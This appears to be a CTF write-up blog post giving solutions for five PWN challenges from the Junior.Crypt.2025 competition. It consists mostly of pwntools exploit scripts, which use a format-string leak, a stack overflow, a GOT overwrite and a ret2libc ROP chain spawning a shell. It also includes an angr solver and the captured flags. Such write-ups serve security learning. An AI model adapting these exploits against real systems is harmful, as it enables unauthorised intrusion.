- Published on
Junior.Crypt.2025 CTF - PWN challenges
- Authors
- Name
- kerszi
Introduction
The Belarus Junior.Crypt.2025 CTF took place from July 1st to 3rd. We solved all 5 out of 5 PWN tasks. All the challenges were very easy and didn't even require detailed explanations. It was a good lesson for anyone starting out with PWN or wanting a refresher. More info about this CTF is here 

Table of contents
ChattyParrot

from pwn import *
context.log_level = 'warning'
env = {}
env["FLAG_VAL"] = "AAAA"
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="ctf.mf.grsu.by:9077"
ADDRESS, PORT = HOST.split(":")
BINARY_NAME="./ChattyParrot"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
for i in range(1, 250):
p = remote(ADDRESS, PORT)
#p = process(binary.path, env=env)
payload = f"%{i}$s".encode()
info(f"Payload {i}: {payload}")
try:
p.sendlineafter(b"Input your phrase:", payload)
recv = p.recvline().strip()
except Exception as e:
recv = b""
print(f"[{i}] RECV: {recv}")
if b'grodno' in recv:
print(f"[{i}] RECV: {recv}")
p.close()
p.interactive()
grodno{J35KiI_P4RR07_Drug_M47u3}
GoldenByte

import angr
import sys
def main(argv):
path_to_binary = "./GoldenByte"
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
#sys.set_int_max_str_digits(100000000) odhaczyc jak bedzie krzyczal, ze nie ma pamieci
sm = project.factory.simgr(initial_state)
# list of basic blocks to find or to avoid
sm.explore(find=[], avoid=[])
for state in sm.deadended:
print(state.posix.dumps(sys.stdin.fileno()))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
Angr found 3202416105
grodno{D4dy4_m4TV31_Pr019r4l_kV4rT1RY_V_K421n0_V3D_n3_2N4L_PWN}
StackSmasher

from aiohttp import payload_type
from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc ctf.mf.grsu.by 9078"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./StackSmasher"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
win=binary.sym.win
step1=binary.sym.step1
step2=binary.sym.step2
payload=40*b'A'+p64(step1)+p64(step2)+p64(win)
p.sendlineafter(b'Input username:',payload)
p.interactive()
grodno{unCL3_M47V3y_w45_h3R3_w17H_0ld_5Ch00L_3xPL017}
NeuralNet

from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc ctf.mf.grsu.by 9076"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./NeuralNet_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
p.recvuntil(b'Prediction module address (predict_outcome): ')
addr_line = p.recvline().strip()
predict_addr = int(addr_line, 16)
warn(f"predict_outcome address: {hex(predict_addr)}")
exit_got_addr = predict_addr + 0x2e46
unlock_secret_research_data = predict_addr - 0x59
warn(f"exit address: {hex(exit_got_addr)}")
warn(f"unlock_secret_research_data address: {hex(unlock_secret_research_data)}")
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'modify (hex): >', hex(exit_got_addr).encode())
p.sendlineafter(b'weight (hex): >', hex(unlock_secret_research_data).encode())
p.sendlineafter(b'>', b'4')
p.interactive()
grodno{p3R3D08UchIL_n3ir053t_prY4M0_v_G0T}
KindAuthor

from pwn import *
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc ctf.mf.grsu.by 9075"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./KindAuthor"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('./libc.so.6', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
got_puts=binary.got.puts
got_read=binary.got.read
main=binary.sym.main
plt_puts=binary.plt.puts
rop=ROP(binary)
ret=rop.find_gadget(['ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi', 'ret'])[0]
payload=40*b'A'+p64(pop_rdi)+p64(got_puts)+p64(plt_puts)+p64(main)
p.sendlineafter(b'Input your data:',payload)
p.recvline()
puts=u64(p.recvline().strip().ljust(8, b"\x00"))
warn (f"puts: {puts:#x}")
libc.address=puts-0x805a0
warn (f"libc: {libc.address:#x}")
bin_sh=next(libc.search(b"/bin/sh"))
system=libc.sym.system
payload=40*b'A'
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret)
payload += p64(system)
p.sendlineafter(b'Input your data:',payload)
p.interactive()
grodno{bL491M1_N4M3R3n1Y4m1_VYm05ch3n4_d0R094_v_5h3lL}